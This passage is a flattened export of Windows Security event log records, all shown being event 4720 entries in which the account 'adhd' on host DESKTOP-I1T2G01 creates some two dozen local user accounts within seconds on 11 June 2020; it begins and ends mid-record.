Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brian - adhd - - - 4720 - 4387 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.5417078Z'/><EventRecordID>4387</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Vincent</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1057</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Vincent</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Vincent - adhd - - - 4720 - 4381 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.4510130Z'/><EventRecordID>4381</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Larry</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1056</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Larry</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Larry - adhd - - - 4720 - 4375 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.3663063Z'/><EventRecordID>4375</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Julie</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1055</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Julie</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Julie - adhd - - - 4720 - 4369 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.2775321Z'/><EventRecordID>4369</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Bruce</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1054</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Bruce</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Bruce - adhd - - - 4720 - 4363 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.1706284Z'/><EventRecordID>4363</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Louis</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1053</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Louis</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Louis - adhd - - - 4720 - 4357 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:56.0370536Z'/><EventRecordID>4357</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Maria</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1052</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Maria</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Maria - adhd - - - 4720 - 4351 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.9567623Z'/><EventRecordID>4351</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Margaret</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1051</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Margaret</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Margaret - adhd - - - 4720 - 4345 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.8795147Z'/><EventRecordID>4345</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8284'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Emma</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1050</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Emma</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Emma - adhd - - - 4720 - 4339 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.7889620Z'/><EventRecordID>4339</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Gabriel</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1049</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Gabriel</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Gabriel - adhd - - - 4720 - 4333 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.6893643Z'/><EventRecordID>4333</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Raymond</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1048</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Raymond</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Raymond - adhd - - - 4720 - 4327 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.5606743Z'/><EventRecordID>4327</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Joshua</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1047</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Joshua</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Joshua - adhd - - - 4720 - 4321 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.4682511Z'/><EventRecordID>4321</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Kyle</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1046</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Kyle</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Kyle - adhd - - - 4720 - 4315 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.3685222Z'/><EventRecordID>4315</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='8088'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Brandon</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1045</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Brandon</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Brandon - adhd - - - 4720 - 4309 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.2608826Z'/><EventRecordID>4309</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Evelyn</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1044</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Evelyn</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Evelyn - adhd - - - 4720 - 4303 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.1633800Z'/><EventRecordID>4303</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='792'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Austin</Data><Data Name='TargetDomainName'>DESKTOP-I1T2G01</Data><Data Name='TargetSid'>S-1-5-21-4235200151-4210980811-2443358387-1043</Data><Data Name='SubjectUserSid'>S-1-5-21-4235200151-4210980811-2443358387-1000</Data><Data Name='SubjectUserName'>adhd</Data><Data Name='SubjectDomainName'>DESKTOP-I1T2G01</Data><Data Name='SubjectLogonId'>0x1c5da</Data><Data Name='PrivilegeList'>-</Data><Data Name='SamAccountName'>Austin</Data><Data Name='DisplayName'>%%1793</Data><Data Name='UserPrincipalName'>-</Data><Data Name='HomeDirectory'>%%1793</Data><Data Name='HomePath'>%%1793</Data><Data Name='ScriptPath'>%%1793</Data><Data Name='ProfilePath'>%%1793</Data><Data Name='UserWorkstations'>%%1793</Data><Data Name='PasswordLastSet'>%%1794</Data><Data Name='AccountExpires'>%%1794</Data><Data Name='PrimaryGroupId'>513</Data><Data Name='AllowedToDelegateTo'>-</Data><Data Name='OldUacValue'>0x0</Data><Data Name='NewUacValue'>0x15</Data><Data Name='UserAccountControl'> - %%2080 - %%2082 - %%2084</Data><Data Name='UserParameters'>%%1793</Data><Data Name='SidHistory'>-</Data><Data Name='LogonHours'>%%1797</Data></EventData></Event> - Austin - adhd - - - 4720 - 4297 - - Security - <Event xmlns='http://schemas.microsoft.com/win/2004/08/events/event'><System><Provider Name='Microsoft-Windows-Security-Auditing' Guid='{54849625-5478-4994-a5ba-3e3b0328c30d}'/><EventID>4720</EventID><Version>0</Version><Level>0</Level><Task>13824</Task><Opcode>0</Opcode><Keywords>0x8020000000000000</Keywords><TimeCreated SystemTime='2020-06-11T22:04:55.0436280Z'/><EventRecordID>4297</EventRecordID><Correlation ActivityID='{d0a5cb6e-403a-0001-29cc-a5d03a40d601}'/><Execution ProcessID='740' ThreadID='788'/><Channel>Security</Channel><Computer>DESKTOP-I1T2G01</Computer><Security/></System><EventData><Data Name='TargetUserName'>Roger</Data><Data 